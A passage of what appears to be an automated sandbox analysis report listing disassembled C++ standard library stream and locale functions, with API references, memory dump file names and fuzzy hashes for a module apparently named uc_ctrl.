                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF02CAA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02CED
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: bfe6c408fcd51b2af667a41a9d3dc430a291be8aa7554ec80cd446dccdc276ec
                                                                                              • Instruction ID: aad6a0026e8d0c9d27ecc5b7f334e2cdcd40c9db7dafd3fdddd30c3feb7a2dd6
                                                                                              • Opcode Fuzzy Hash: bfe6c408fcd51b2af667a41a9d3dc430a291be8aa7554ec80cd446dccdc276ec
                                                                                              • Instruction Fuzzy Hash: 8A215B31A01148EECB02DBA4C854AEEBBB9AF48708F24405DE105A7342DB719A4ADBA0
                                                                                              Function 6CF00DA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00DA7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00DD7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00DED
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6CF00E1C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF00E69
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 4581e7ecc8df0440f2a99a2c098003feeb4d2f32462ae75a59427553c0268b4b
                                                                                              • Instruction ID: d97d6ec4ef13a931ceb70eb35dac2a934a2a3fe4bf82947fec2a763247f44b46
                                                                                              • Opcode Fuzzy Hash: 4581e7ecc8df0440f2a99a2c098003feeb4d2f32462ae75a59427553c0268b4b
                                                                                              • Instruction Fuzzy Hash: B821B471A01144DFDF05DFA8C860BFDBBB5AF08708F24448DE285A7381CB759A09DB60
                                                                                              Function 6CF05D70 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05D77
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05DA8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05DBD
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05DFA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05E3D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 350562734-0
                                                                                              • Opcode ID: fa548626a817ea736f18b345b85732a0ed17d54e99a1780d5cd46f38fb3a3374
                                                                                              • Instruction ID: 3ab082c2465e953dfd88da070c8ceb380fbe1ff7cecf6561c4eedcdfe7b3f6ee
                                                                                              • Opcode Fuzzy Hash: fa548626a817ea736f18b345b85732a0ed17d54e99a1780d5cd46f38fb3a3374
                                                                                              • Instruction Fuzzy Hash: F0216A31A01148EFCB02DFE8C954EEEBBB5AF48708F24405DE109A7342DB719A59DBA4
                                                                                              Function 6CF03EC0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF03EC7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF03EF7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF95EB: __EH_prolog3.LIBCMT ref: 6CEF95F2
                                                                                                • Part of subcall function 6CEF95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE611,?,?,?,?,?,00000000), ref: 6CEF95FD
                                                                                                • Part of subcall function 6CEF95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEF9615
                                                                                                • Part of subcall function 6CEF95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6CEF9679
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03F0D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6CF03F3C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF03F89
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 0c83e1134a51895c962cb15c624fa843dc6e94302389433aadf8fdcbf6a05d48
                                                                                              • Instruction ID: 580bf428fd4660680dffbfa8fc7b2316fc052378d0f9d108d5cbe322fac2edfd
                                                                                              • Opcode Fuzzy Hash: 0c83e1134a51895c962cb15c624fa843dc6e94302389433aadf8fdcbf6a05d48
                                                                                              • Instruction Fuzzy Hash: CB217275A01104EFDB05DFA8C854BFDBBB5AF19709F24408DE145A7381CB759A09DB60
                                                                                              Function 6CF05E60 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05E67
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05E98
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05EAD
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05EEA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05F2D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 350562734-0
                                                                                              • Opcode ID: d053fad5d5fab69b291b1aaab463886d83eb681dac86bd718c51cd74f1425196
                                                                                              • Instruction ID: 1f6b8b8ee2b66ca7f6a5c4cf8848a94c4cd4364664e509a049dbf89cac61ec18
                                                                                              • Opcode Fuzzy Hash: d053fad5d5fab69b291b1aaab463886d83eb681dac86bd718c51cd74f1425196
                                                                                              • Instruction Fuzzy Hash: 7D216D31A01148EFCF02DFE4C854EEEBBB5AF48708F24405DE109A7742DB759A49DBA4
                                                                                              Function 6CF02E20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02E27
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02E58
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02E6D
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF02EAA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02EED
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: de7ca2e7bc51b0f6ef05ca1b4d77e9049d763c6c19fa41ad69c3b5590015ae40
                                                                                              • Instruction ID: 694d6a323306255f23822d3201a279d278060926206f62ff4d257f628f6a25dc
                                                                                              • Opcode Fuzzy Hash: de7ca2e7bc51b0f6ef05ca1b4d77e9049d763c6c19fa41ad69c3b5590015ae40
                                                                                              • Instruction Fuzzy Hash: E8215831A01148EFCB02DFE4C894AEEBFB9AF48708F24405DE105A7341DB719A4ADBA4
                                                                                              Function 6CF03FA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF03FA7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF03FD7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF95EB: __EH_prolog3.LIBCMT ref: 6CEF95F2
                                                                                                • Part of subcall function 6CEF95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE611,?,?,?,?,?,00000000), ref: 6CEF95FD
                                                                                                • Part of subcall function 6CEF95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEF9615
                                                                                                • Part of subcall function 6CEF95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6CEF9679
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03FED
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6CF0401C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF04069
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 029226315291a9a8a77d5ea0d067d635634ff0b351074efa5e95f9f645be6d91
                                                                                              • Instruction ID: acd8aad0557df82218ceb78a6789dab12eabe89c3797354e5a2a7afd6e07de05
                                                                                              • Opcode Fuzzy Hash: 029226315291a9a8a77d5ea0d067d635634ff0b351074efa5e95f9f645be6d91
                                                                                              • Instruction Fuzzy Hash: C6217271A01104EFDB05DFA8C854BFEBBB5AF19708F24408DE255A7381CB759A09DB60
                                                                                              Function 6CF058C0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF058C7
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF058F8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF0590D
                                                                                              • ?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF0594A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF0598D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 679560703-0
                                                                                              • Opcode ID: 73fae653f206f2c9094715a45d0b25fa2bd6125910320cb54dd6e2b27683f51e
                                                                                              • Instruction ID: e1fe9c5d299f4c40f49efffbd6baf3d38e80779c47c4279f7ee7b44b07ea97f5
                                                                                              • Opcode Fuzzy Hash: 73fae653f206f2c9094715a45d0b25fa2bd6125910320cb54dd6e2b27683f51e
                                                                                              • Instruction Fuzzy Hash: E4216D31A01148EFCF02DBE8C854EEEBBB5AF48718F24405DE109A7742DB759A49DBA4
                                                                                              Function 6CF02860 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02867
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02898
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
